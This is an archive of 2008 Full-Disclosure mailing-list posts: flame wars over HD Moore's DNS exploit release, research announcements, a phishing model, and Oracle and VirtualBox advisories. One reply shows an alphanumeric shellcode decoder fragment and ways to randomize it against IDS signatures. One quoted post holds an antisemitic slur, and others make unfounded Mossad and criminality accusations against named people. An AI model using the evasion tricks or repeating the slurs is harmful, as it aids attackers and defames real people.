PROTECTED] or alternatively, you may file a bug at http://bugs.gentoo.org. License === Copyright 2008 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 signature.asc Description: This is a digitally signed message part. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] more rehashes of xss & 'evil gif'
On Tue, Aug 5, 2008 at 6:26 AM, Robert Holgstad <[EMAIL PROTECTED]> wrote: > http://www.infoworld.com/article/08/08/01/A_photo_that_can_steal_your_online_credentials_1.html > > seems dan isn't the only press whore around! rebouncing from his embarasing > post about 'deputy dan' and the matasano blog - whoosh anyone? nate and his > crew of javascript gurus have whipped up another rehash of an old class of > bugs that has been used in the wild for a long time. we personally want to > thank nate for his great work hes done for conferences over the years > filling up their talking spots with useless crap. his work is only rivaled > by gadi evron who gets accepted to every conference because declining a fat > AND jewish person is guarenteed to get 1000s of big nosed ambulance chasers > after you by the end of business day. > > once again we would ilke to thank nate for his cutting edge research and > hopefully he will get nommed for next years pwnie life time acheivement > award! > Don't forget Funsec is run by Mossad and that all the silly people on that list who post on it don't realise what intelligence organization they are contributing to. Of course there is no publically available information to prove Gadi Evron has connections with Mossad, but I personally assume its probably the case. All the best, n3td3v ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Media backlash begins against HD Moore and I)ruid
[EMAIL PROTECTED] wrote: > On Tue, 05 Aug 2008 18:40:32 BST, n3td3v said: > > > Are you suggesting HD Moore had prior knowledge that the Austin Texas > > AT&T servers were vulnerable? > > No - simply saying that either they were vulnerable, or they weren't. If > they weren't vulnerable, HD didn't have to do anything. And even if they > *were*, somebody would still have to actually *attack* them. > > And even if they *got* attacked, it's quite possible that the upsides of not > bothering to do something outweighed the risks. If you estimate that the > cost (including "things you could have spent your time doing") is more than > the losses, why bother? "Even if we *got* whacked, we'd lose maybe $500. But > in the time I'd waste dealing with the issue, I could generate something that > will get us $2,000 in revenue. So if I fix it, I lose $1500, and if I ignore > it, I come out $1,500 ahead if we get hit, and $2,000 if we don't". > > > > - > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ You can't expect n3td3v to understand things like that. He's a hero to all who read his cut-n-paste blog, not a true InfoSec worker. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] (no subject)
Hello, We recently decided to release some of our research to the public, so selected presentations from our internal tech meetings will from now on be available for download at SEC Consult website. The presentations (some of which are in german) will include everything from general howtos to highly specialized pentesting-stuff. We will also release a whitepaper on a variant of the new DNS poisoning attack tomorrow. We wrote this whitepaper along with an exploit a while ago, and somehow managed NOT to leak it to the press before the Kaminsky talk :) The presentations and whitepapers, along with our past presentations from Blackhat and Deepsec, can be found at: http://www.sec-consult.com/publikationen_e.html Here are some links to what is already online: * A german guide to WEP/WPA cracking, by Johannes Greil: http://www.sec-consult.com/files/Wireless_LAN_attacks_wo_fancy_style.pdf * A presentation on the method of using DLL injection to interface to an SSL connection used by a running process (I used this for blackbox-testing certain binary SSL client/server applications): http://www.sec-consult.com/files/SSL_Packet_Injection_BMU.pdf * A short presentation on a method of error-based SQL injection in Sybase databases, by Thomas Kerbl: http://www.sec-consult.com/files/Sybase_ModSecurity_Evasion_TKE.pdf I hope that some of you will find this useful. Regards, Bernhard (Certified Internet Security Superstar) -- _ Bernhard Mueller Security Consultant SEC Consult Unternehmensberatung GmbH www.sec-consult.com A-1190 Vienna, Mooslackengasse 17 phone +43 1 8903043 34 fax +43 1 8903043 15 mobile+43 676 840301 718 email [EMAIL PROTECTED] Firmenbuch Wiener Neustadt: 227896t, UID: ATU56165223 Firmensitz: Prof. Dr. Stephan Korenstraße 10, A-2700 Wiener Neustadt Advisor for your information security. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Interesting things at sec-consult.com, DNS-whitepaper available tomorrow
Hello, We recently decided to release some of our research to the public, so selected presentations from our internal tech meetings will from now on be available for download at SEC Consult website. The presentations (some of which are in german) will include everything from general howtos to highly specialized pentesting-stuff. We will also release a whitepaper on a variant of the new DNS poisoning attack tomorrow. We wrote this whitepaper along with an exploit a while ago, and somehow managed NOT to leak it to the press before the Kaminsky talk :) The presentations and whitepapers, along with our past presentations from Blackhat and Deepsec, can be found at: http://www.sec-consult.com/publikationen_e.html Here are some links to what is already online: * A german guide to WEP/WPA cracking, by Johannes Greil: http://www.sec-consult.com/files/Wireless_LAN_attacks_wo_fancy_style.pdf * A presentation on the method of using DLL injection to interface to an SSL connection used by a running process (I used this for blackbox-testing certain binary SSL client/server applications): http://www.sec-consult.com/files/SSL_Packet_Injection_BMU.pdf * A short presentation on a method of error-based SQL injection in Sybase databases, by Thomas Kerbl: http://www.sec-consult.com/files/Sybase_ModSecurity_Evasion_TKE.pdf I hope that some of you will find this useful. Regards, Bernhard (Certified Internet Security Superstar) -- _ Bernhard Mueller Security Consultant SEC Consult Unternehmensberatung GmbH www.sec-consult.com A-1190 Vienna, Mooslackengasse 17 phone +43 1 8903043 34 fax +43 1 8903043 15 mobile+43 676 840301 718 email [EMAIL PROTECTED] Firmenbuch Wiener Neustadt: 227896t, UID: ATU56165223 Firmensitz: Prof. Dr. Stephan Korenstraße 10, A-2700 Wiener Neustadt Advisor for your information security. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Media backlash begins against HD Moore and I)ruid
On Tue, 05 Aug 2008 20:36:12 BST, n3td3v said: > Is what you're describing not against the law Valdis, it sure sounds > like it to me. Some kind of gross negligence... Note that it's "gross negligence" only if there is a *high* risk of *actual* damages that a reasonable person should have forseen. Also, in the vast majority of cases, the concept only applies to events you actually have control over - so in this instance, HD Moore could *conceivably* be negligent towards *his* company, but if *other* customers of ATT suffer because ATT doesn't fix their stuff, that's ATT's problem, not HD's. However much you may *want* it to be HD's fault for not contacting ATT and warning them, the law usually doesn't work that way - nor do you *want* it to. If HD was required to warn ATT, then the readers of FD would *also* be required to contact the police in your area and warn them that there was a clueless and mentally unstable person wandering around with significant chance of serious injury to themselves... For bonus points - identify the actual *LOSS* to HD Moore from the DNS getting hacked. Looks to *me* like he came out *ahead* - he got more headlines talking about it than you can ever hope to get. > I wonder if the the intelligence services thought like you before 9/11 > and 7/7 eh...I get the feeling they did. Yes, and since then, we've *failed* to do proper risk analysis. We've spent some five hundred billion dollars and gotten some 6,000 soldiers killed to prevent another attack that kills 3,000 and does 10 billion dollars in damage. So far, we're about 3,000 people and $490,000,000,000 in the hole. And here's news for you: Many government agencies *still* do calculations that way. They calculate a "value of a life", and use it to evaluate things like environmental and safety regulations: If a life is worth $5M, and the regulation is projected to save 500 lives (via lower risk of cancer, fewer car crashes, whatever), the regulation has to cost less than $2.5B to implement to be worth it. If it costs $2B, but only saves 50 lives, that's $40M per life and not worth it. pgpVKPLal01hv.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Alphanumeric Shellcode Encoding and Detection
Oops - that is not correct - it will only work when the second and
third bits of ESP are 0
:-) I was to quick on the send button.
EAX is basically XOR's with the length of the string, and instead I
need to increment it by the length of the string... I'll have to come
up with a better solution... (I'll probably have to resort to
patching... but I was looking for a quick and dirty fix)
If anyone comes up with a solution for this before me, I'll buy them a
Shawarma next time they're in Israel ;-)
Regards,
Avri
On Tue, Aug 5, 2008 at 7:00 PM, Avraham Moshe Schneider
<[EMAIL PROTECTED]> wrote:
> I fixed a couple of bugs -
>
> 1. The srand() function was called after calls to rand() - causing a fixed
> string in the decoder which an IDS could signature on
> 2. Case of ESP register pointing to the head of the decoder was not handled,
> it is fixed now, but needs to be randomized. Right now, in the case of ESP
> pointing to the shellcode, the following fixed string would exist at the head
> of the decoder routine: "TX4640"
> This translates to:
> _asm
> {
>push esp;
>pop eax;
>xor al, 0x36;
>xor al, 0x30;
> }
>
> The '6' and the '0' can be any alphanumeric byte where the first is the
> second+6 or vice versa.
>
> You may add alphanumeric NOP instructions in between and change the diff
> between the bytes accordingly.
> The diff between the two XOR values should be the length of the resulting
> string.
>
> I used the EAX register, as XOR'ing it with an immediate value is
> alphanumeric.
>
> Regards,
> Avri
> **
>
> The contents of this email and any attachments are confidential.
> It is intended for the named recipient(s) only.
> If you have received this email in error please notify the system manager or
> the
> sender immediately and do not disclose the contents to anyone or make copies.
> ** eSafe scanned this email for viruses, vandals and malicious content **
>
> **
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Media backlash begins against HD Moore and I)ruid
On Tue, Aug 5, 2008 at 7:57 PM, <[EMAIL PROTECTED]> wrote: > On Tue, 05 Aug 2008 18:40:32 BST, n3td3v said: > >> Are you suggesting HD Moore had prior knowledge that the Austin Texas >> AT&T servers were vulnerable? > > No - simply saying that either they were vulnerable, or they weren't. If > they weren't vulnerable, HD didn't have to do anything. And even if they > *were*, somebody would still have to actually *attack* them. > > And even if they *got* attacked, it's quite possible that the upsides of not > bothering to do something outweighed the risks. If you estimate that the > cost (including "things you could have spent your time doing") is more than > the losses, why bother? "Even if we *got* whacked, we'd lose maybe $500. But > in the time I'd waste dealing with the issue, I could generate something that > will get us $2,000 in revenue. So if I fix it, I lose $1500, and if I ignore > it, I come out $1,500 ahead if we get hit, and $2,000 if we don't". > Is what you're describing not against the law Valdis, it sure sounds like it to me. Some kind of gross negligence... http://legal-dictionary.thefreedictionary.com/Gross+negligence http://legal-dictionary.thefreedictionary.com/negligence Is this what goes on at Virginia Tech on a regular basis? Maybe the authorities should be looking into you a lot more while they are looking into HD Moore. ;) I wonder if the the intelligence services thought like you before 9/11 and 7/7 eh...I get the feeling they did. For sure people like you who support this kind of activity should be investigated. It sounds criminal. Have you ever carried out this kind of activity Valdis where you put security and people at risk to make and/or save money? If cyber-terrorism is going to become a real threat, we don't need people like Valdis around and we should sure keep track of him. Would you allow a cyber-9-11 to happen Valdis if there was money involved? I'm starting to become worried about you dude, maybe I should be e-mailing the folks at Virginia Tech this thread, and perhaps, just perhaps the F.B.I and see what they think about what you've just told me. You seem to be normalizing what you've just described to me as normal run-of-the-mill legal activity, when it clearly isn't. To me what you've just described is illegal, criminal and wrong. All the best, n3td3v ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Media backlash begins against HD Moore and I)ruid
On Tue, 05 Aug 2008 18:40:32 BST, n3td3v said: > Are you suggesting HD Moore had prior knowledge that the Austin Texas > AT&T servers were vulnerable? No - simply saying that either they were vulnerable, or they weren't. If they weren't vulnerable, HD didn't have to do anything. And even if they *were*, somebody would still have to actually *attack* them. And even if they *got* attacked, it's quite possible that the upsides of not bothering to do something outweighed the risks. If you estimate that the cost (including "things you could have spent your time doing") is more than the losses, why bother? "Even if we *got* whacked, we'd lose maybe $500. But in the time I'd waste dealing with the issue, I could generate something that will get us $2,000 in revenue. So if I fix it, I lose $1500, and if I ignore it, I come out $1,500 ahead if we get hit, and $2,000 if we don't". pgpF6wVllKIuq.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Media backlash begins against HD Moore and I)ruid
On Tue, Aug 5, 2008 at 6:08 PM, <[EMAIL PROTECTED]> wrote: > On Tue, 05 Aug 2008 13:58:55 BST, n3td3v said: >> Why did he phone up and get the AT&T servers patched AFTER the >> incident and not BEFORE he released the exploit code to the world? >> Because he is a lamer who didn't think out of the box and didn't think >> about all eventualities BEFORE hand, therefore HD Moore on this >> occasion was a fucking lamer. > > Or - maybe he's more clued than you think, and he did an actual risk analysis. > Remember - security is *tradeoffs*. > > He figures out what the costs would be to move his nameservice to some other > site (remembering to include in *all* the incidental costs, such as paying the > registrar fee, the dollars/hour it costs for the person on his payroll doing > the paperwork, the opportunity cost of what he could *otherw8se* have been > doing if he wasn't busy moving the DNS around). He figures out what the costs > are if the ATT servers do get poisoned (not *that* much, because he's not > doing > a hell of a lot of e-commerce), and how long it will take him to get ATT to > fix > it if it breaks. > > Then he adds in the *FREE* publicity of getting quoted in all the trade > journals (and remember, there's very little publicity that's bad publicity). > Consider if he *had* spent his time moving his DNS instead of writing > Metasploit rules - *nothing* would have happened, he'd have gotten *zero* > mentions. Instead, he gets *two* mentions - one for releasing the Metasploit > stuff, and a second for getting caught when ATT gets pwned. > > Add it all up, and he's probably *ahead* if he *doesn't* move his DNS SOA to > elsewhere. > Are you suggesting HD Moore had prior knowledge that the Austin Texas AT&T servers were vulnerable? Knowingly knew AT&T was vulnerable but purposely left it exposed to attack, so that he could get publicity for the tags "HD Moore", "Metasploit" and "Breaking Point" if the AT&T servers ever did get attacked? This sounds like something the intelligence services do, they know about an attack is possible but let it happen for political gains. What is it you're accusing HD Moore of Valdis, allowing an attack to happen like the intelligence services do all the time? This is a big allegation you've put forward Valdis, that AT&T and the authorities should look into.. > > It's amazing how you've managed to make it to "jaded" without first figuring > out how this industry actually works... > Yeah, i'm beginning to see how this industry works, false flag attacks, allowing attacks to happen for political gains, the corruption and the criminality. All the best, n3td3v ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Media backlash begins against HD Moore and I)ruid
On Tue, 05 Aug 2008 13:58:55 BST, n3td3v said: > Why did he phone up and get the AT&T servers patched AFTER the > incident and not BEFORE he released the exploit code to the world? > Because he is a lamer who didn't think out of the box and didn't think > about all eventualities BEFORE hand, therefore HD Moore on this > occasion was a fucking lamer. Or - maybe he's more clued than you think, and he did an actual risk analysis. Remember - security is *tradeoffs*. He figures out what the costs would be to move his nameservice to some other site (remembering to include in *all* the incidental costs, such as paying the registrar fee, the dollars/hour it costs for the person on his payroll doing the paperwork, the opportunity cost of what he could *otherw8se* have been doing if he wasn't busy moving the DNS around). He figures out what the costs are if the ATT servers do get poisoned (not *that* much, because he's not doing a hell of a lot of e-commerce), and how long it will take him to get ATT to fix it if it breaks. Then he adds in the *FREE* publicity of getting quoted in all the trade journals (and remember, there's very little publicity that's bad publicity). Consider if he *had* spent his time moving his DNS instead of writing Metasploit rules - *nothing* would have happened, he'd have gotten *zero* mentions. Instead, he gets *two* mentions - one for releasing the Metasploit stuff, and a second for getting caught when ATT gets pwned. Add it all up, and he's probably *ahead* if he *doesn't* move his DNS SOA to elsewhere. > The above paragraph is a flawed statement that I believe is bullshit, Unfortunately for all clued whitehats out there, it's not bullshit. Unless you have something so blatantly obvious that they can get their tiny little brains wrapped around it, they're not going to listen. You say: "Insufficient bounds checking on the frobniz value allows an off-by-one exploit that may lead to unauthorized code execution" Clued professional: "Wow, that would suck." Unclued professional: "Yeah, whatever" "This is a wake-up call. If this was an actual emergency, this pop-up would be busy emptying your bank account." that *might* get their attention. Maybe. > but one that security researchers use every day to loop hole and law > and release exploit code and/or hack things. It's amazing how you've managed to make it to "jaded" without first figuring out how this industry actually works... pgpU54TjLRCRi.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Fwd: Comment on: Microsoft to give partners heads-up on security vulnerabilities
-- Forwarded message -- From: n3td3v <[EMAIL PROTECTED]> Date: Tue, Aug 5, 2008 at 4:24 PM Subject: Comment on: Microsoft to give partners heads-up on security vulnerabilities To: n3td3v <[EMAIL PROTECTED]> by n3td3v August 5, 2008 8:17 AM Verbal contracts of non-disclosure agreements don't work, you need a new law in place, which I call the responsible disclosure act, http://seclists.org/fulldisclosure/2008/Jul/0439.html to enforce the agreement by a law if the agreement is broken. Or are you guys just gonna do another "oops the cat's out the bag" again like what happened with the verbal contract agreement Dan Kaminsky had with everyone before a blog entry leaked the vulnerability by *accident*. Is this Microsoft agreement of non-disclosure actually enforceable by any current law? If not a new law is needed to be drawn up, see the link above, or this "Microsoft Active Protection Program" is gonna turn out a complete shambles. http://news.cnet.com/8601-1009_3-10006325.html?communityId=2114&targetCommunityId=2114&messageId=772539#772539 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] phish war game
> > observations: > > 1. The model is over-simplified, in reality it's unlikely that BLUE > would consistently achieve 80%. However in reality it's also > unlikely that RED would enjoy a linear relationship between > obfuscation and success, specifically, the more RED obfuscates the > less success it has. Both teams might suffer diminishing returns > from their efforts. (for the purposes of the above model, these > effects have been allowed to cancel each other out) > > 2. The model has a constant 1% reduction in the victim rate, this is > debatable, however it will never go upwards, eg., there is nothing > RED can do to push that number back towards 100%. Conversely, > everything BLUE does pushes that number towards 0%. In addition, > other anti-phishing technologies will also be pushing the number > towards 0%. GREEN itself might even push the number down. > FLAWS: 1) This also assumes that no new users ever start using the Internet that may become new victims 2) It also assumes that all evolutions in phisher techniques are predictable. Anyone following the industry knows that all sorts of things have been done so that their phishes seem more realistic/plausible. And, after using these new techniques, RED can push the number of victims back up -- in direct contradiction of your statements, which do not reflect what happens. These 2 facts alone explain why phishing isn't the simple fix you have made it out to be. Your model is flawed, as it is based on flawed assumptions. not interesting anymore. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Media backlash begins against HD Moore and I)ruid
On Mon, Aug 4, 2008 at 4:44 AM, <[EMAIL PROTECTED]> wrote: > On Sun, 03 Aug 2008 22:36:09 BST, n3td3v said: > >> He has no excuse for what happened, he is a global international >> hacker leading the release of the exploit code, its his entire >> responsibility to make sure his company is secure, even if the servers >> that were vulnerable were owned by AT&T. > > And how, *exactly*, is he supposed to fix servers that aren't under his > administrative control? > > Tell you what - the next time that the company that you get Internet access > from has an issue, why don't you go ahead and fix it for them, and let us > know how that all works out, 'kay? > In security you're ment to think out of the box and think about ALL eventualities BEFORE something happens.. Why did he phone up and get the AT&T servers patched AFTER the incident and not BEFORE he released the exploit code to the world? Because he is a lamer who didn't think out of the box and didn't think about all eventualities BEFORE hand, therefore HD Moore on this occasion was a fucking lamer. Its funny how he managed to get the AT&T servers fixed NOT under his administrative control pretty damn quick AFTER the incident. Which makes us the security community believe he could have foreseen the obvious and get the AT&T servers fixed BEFORE the incident happened just as quick as AFTER it if he was as good at security as he makes out to be. Or are you gonna come out with the usual bull shit like, if HD Moore had phoned up BEFORE the incident, they wouldn't have listened to him or patched anything, so in fact the release of the exploit code is justified and the hack is justified because it leaned on AT&T to patch their infrastructure. The above paragraph is a flawed statement that I believe is bullshit, but one that security researchers use every day to loop hole and law and release exploit code and/or hack things. Even IBM are starting to wake up that releasing exploit code to make world safer is fundamentally flawed bull shit to loop hole the law to supply the bad guys with tools and/or code and to make a name for themselves, while NOT making the security situation any more stable out there on your web application and network security in the reality of things. HD Moore shouldn't have released the exploit code, thats the bottom line of things and whoever hacked his crap web site via AT&T shouldn't have done it, but who can HD Moore blame but himself? I suppose its all AT&T's fault that HD Moore's website got hacked, and not his... i've heard it all now. Its incredible the amount of bull shit you come out with Valdis to support your super hero HD Moore, and the release of exploit code to the wild as making web application and network security safer for everyone in the long term. I'm just glad a big player like IBM is waking up to the fundamental flaw in the excuse that security researchers give for supplying the bad guys with code, to get a name for themselves and that it doesn't make the world safer in reality. All the best, n3td3v ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] free static analysis tool for c/c++
Hi KJK: Thanks for your help :) I can not compile the code because I can touch them. The developer will upload their code and call the source code scan engine to find security bugs. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of KJK::Hyperion Sent: Tuesday, August 05, 2008 7:28 PM Cc: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] free static analysis tool for c/c++ modversion ha scritto: > PREfast can only work with the Visual Studio,any standalone tools can > make it ? just run the command line compiler with the /analyze switch, no need to use Visual Studio ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] free static analysis tool for c/c++
modversion ha scritto: > PREfast can only work with the Visual Studio,any standalone tools > can make it ? just run the command line compiler with the /analyze switch, no need to use Visual Studio ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] free static analysis tool for c/c++
Hi KJK: PREfast can only work with the Visual Studio,any standalone tools can make it ? -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of KJK::Hyperion Sent: Tuesday, August 05, 2008 6:11 PM Cc: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] free static analysis tool for c/c++ modversion ha scritto: > I want a free static analysis tool for c/c++ code in win32 > platform,which do not need to compile the codes. have you tried Microsoft's PREfast? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] phish war game
Dude give it up... No . One. Cares. At all. Accept that your ideas suck.. oh and you're an attention seeking douche bag -- or maybe a bad troll. I guess pegasusmail_html.cpp will answer my questions... On Tue, Aug 5, 2008 at 11:03 AM, lsi <[EMAIL PROTECTED]> wrote: > BLUE TEAM: anti-phishing blacklist > RED TEAM: phish > GREEN TEAM: end-users > > starting degree of obfuscation: 0% (none) > starting number of blocked domains: 0 > > -- > > round 1: > > action: RED sends billions of phish > consequence: 5% of GREEN members are suckered and lose some cash > > action: BLUE blocks the top 20 phished domains using the FROM field > consequence: 80% of RED members are forced to make new sites and find > new victims > > current degree of obfuscation: 0% > current number of blocked domains: 20 > > round 2: > > action: RED obfuscates their FROM fields by 20% and resends billions > of phish > consequence: 4% of GREEN members are suckered and lose some cash > > action: BLUE blocks the next top 20 phished domains using the FROM > field > consequence: 80% of RED members are forced to make new sites and find > new victims > > current degree of obfuscation: 20% > current number of blocked domains: 40 > > round 3: > > action: RED obfuscates their FROM fields by 20% and resends billions > of phish > consequence: 3% of GREEN members are suckered and lose some cash > > action: BLUE blocks the next top 20 phished domains using the FROM > field > consequence: 80% of RED members are forced to make new sites and find > new victims > > current degree of obfuscation: 24% > current number of blocked domains: 60 > > round 4: > > action: RED obfuscates their FROM fields by 20% and resends billions > of phish > consequence: 2% of GREEN members are suckered and lose some cash > > action: BLUE blocks the next top 20 phished domains using the FROM > field > consequence: 80% of RED members are forced to make new sites and find > new victims > > current degree of obfuscation: 28.8% > current number of blocked domains: 80 > > round 5: > > action: RED obfuscates their FROM fields by 20% and resends billions > of phish > consequence: 1% of GREEN members are suckered and lose some cash > > action: BLUE blocks the next top 20 phished domains using the FROM > field > consequence: 80% of RED members are forced to make new sites and find > new victims > > current degree of obfuscation: 34.56% > current number of blocked domains: 100 > > round 6: > > action: RED obfuscates their FROM fields by 20% and resends billions > of phish > consequence: 0% of GREEN members are suckered and lose some cash > > -- > > GAME OVER: RED loses at round 6, as 0% of GREEN members are suckered, > due to over-obfuscation. > > final degree of obfuscation: 41.47% > final number of blocked domains: 100 > > -- > > observations: > > 1. The model is over-simplified, in reality it's unlikely that BLUE > would consistently achieve 80%. However in reality it's also > unlikely that RED would enjoy a linear relationship between > obfuscation and success, specifically, the more RED obfuscates the > less success it has. Both teams might suffer diminishing returns > from their efforts. (for the purposes of the above model, these > effects have been allowed to cancel each other out) > > 2. The model has a constant 1% reduction in the victim rate, this is > debatable, however it will never go upwards, eg., there is nothing > RED can do to push that number back towards 100%. Conversely, > everything BLUE does pushes that number towards 0%. In addition, > other anti-phishing technologies will also be pushing the number > towards 0%. GREEN itself might even push the number down. > > 3. The model does not allow RED to increase the number of phish they > send. In reality, they way well do so. However they will blocked > faster in this case, not only by BLUE but also by other technologies, > such as spam filters. (for the purposes of the above model, these > effects have been allowed to cancel each other out) > > 4. The model does not allow the game to be terminated voluntarily. > In reality, RED will terminate the game voluntarily when phish > revenue per hour falls below revenues per hour available from other > sources. This will be some time before 0% of GREEN members are > suckered, perhaps as early as round 3. > > 5. The blacklist contains 100 items at the time RED loses. It may > contain as little as 60 at the time RED terminates voluntarily. > > -- > > links: > > (...) > http://en.wikipedia.org/wiki/Business_War_Games > > (this is a sales brochure, however it describes a war game a bit > nicer than wiki, it's got diagrams, for a start) > http://www.coleago.co.uk/uploads/Training/War%20Gaming.pdf > > (this isn't relevant to a war game, it might be something like what's > happening when the top 20 phished domains are used to select the > items to blacklist, OTOH, it might not, I don't know, I'm not a > statistician. I'd love to know the name o
Re: [Full-disclosure] free static analysis tool for c/c++
modversion ha scritto: > I want a free static analysis tool for c/c++ code in win32 > platform,which do not need to compile the codes. have you tried Microsoft's PREfast? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Team SHATTER Security Advisory: SQL Injection in Oracle Database (DBMS_DEFER_SYS.DELETE_TRAN)
Umm... >> By default, users granted DBA have the required privilege. << So... You are saying, people should beware of DBAs (Database Administrators... AKA DB Gods) having the possibility to do SQL injection? Riighhtt... And why should they go through the trouble of exploiting a webapp to manipulate data in the DB? They're DBAs... As in they already CAN manipulate the data in the database since they sort of ADMINISTER it! Aras "Russ" Memisyazici Systems Administrator Office of Vice President for Research Virginia Tech -Original Message- From: Team SHATTER [mailto:[EMAIL PROTECTED] Sent: Monday, August 04, 2008 12:42 PM To: [EMAIL PROTECTED]; full-disclosure@lists.grok.org.uk Subject: Team SHATTER Security Advisory: SQL Injection in Oracle Database (DBMS_DEFER_SYS.DELETE_TRAN) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Team SHATTER Security Advisory SQL Injection in Oracle Database (DBMS_DEFER_SYS.DELETE_TRAN) August 4, 2008 Risk Level: Medium Affected versions: Oracle Database Server versions 9iR1, 9iR2, 10gR1, 10gR2 and 11gR1 Remote exploitable: Yes (Authentication to Database Server is needed) Credits: This vulnerability was discovered and researched by Esteban Martínez Fayó of Application Security Inc. Details: The PL/SQL package DBMS_DEFER_SYS owned by SYS has an instance of SQL Injection in the DELETE_TRAN procedure. A malicious user can call the vulnerable procedure of this package with specially crafted parameters and execute SQL statements with the elevated privileges of SYS user. Impact: Any Oracle database user with EXECUTE privilege on the package SYS.DBMS_DEFER_SYS can exploit this vulnerability. By default, users granted DBA have the required privilege. Exploitation of this vulnerability allows an attacker to execute SQL commands with SYS privileges. Vendor Status: Vendor was contacted and a patch was released. Workaround: Restrict access to the SYS.DBMS_DEFER_SYS package. Fix: Apply Oracle Critical Patch Update July 2008 available at Oracle Metalink. Links: http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2008.html http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2592 Timeline: Vendor Notification - 9/24/2007 Vendor Response - 9/28/2007 Fix - 7/15/2008 Public Disclosure - 7/23/2008 -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (MingW32) iEYEARECAAYFAkiXMToACgkQ9EOAcmTuFN3LGQCeK6pvkshjrIqiw8rdmE8tWIdK O9sAnjeSiwasj2U7SpoPhQVvYKyYvUMI =X2Bp -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] CORE-2008-0716 - Sun xVM VirtualBox Privilege Escalation Vulnerability
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs/
Sun xVM VirtualBox Privilege Escalation Vulnerability
*Advisory Information*
Title: Sun xVM VirtualBox Privilege Escalation Vulnerability
Advisory ID: CORE-2008-0716
Advisory URL:
http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability
Date published: 2008-08-04
Date of last update: 2008-08-04
Vendors contacted: Sun Microsystems
Release mode: Coordinated release
*Vulnerability Information*
Class: Insufficient input validation
Remotely Exploitable: No
Locally Exploitable: Yes
Bugtraq ID: 30481
CVE Name: CVE-2008-3431
*Vulnerability Description*
Virtualization technologies allow users to run different operating
systems simultaneously on top of the same set of underlying physical
hardware. This provides several benefits to end users and organizations,
including efficiency gains in the use of hardware resources, reduction
of operational costs, dynamic re-allocation of computing resources and
rapid deployment and configuration of software development and testing
environments.
VirtualBox is an open source virtualization technology project
originally developed by Innotek, a software company based in Germany.
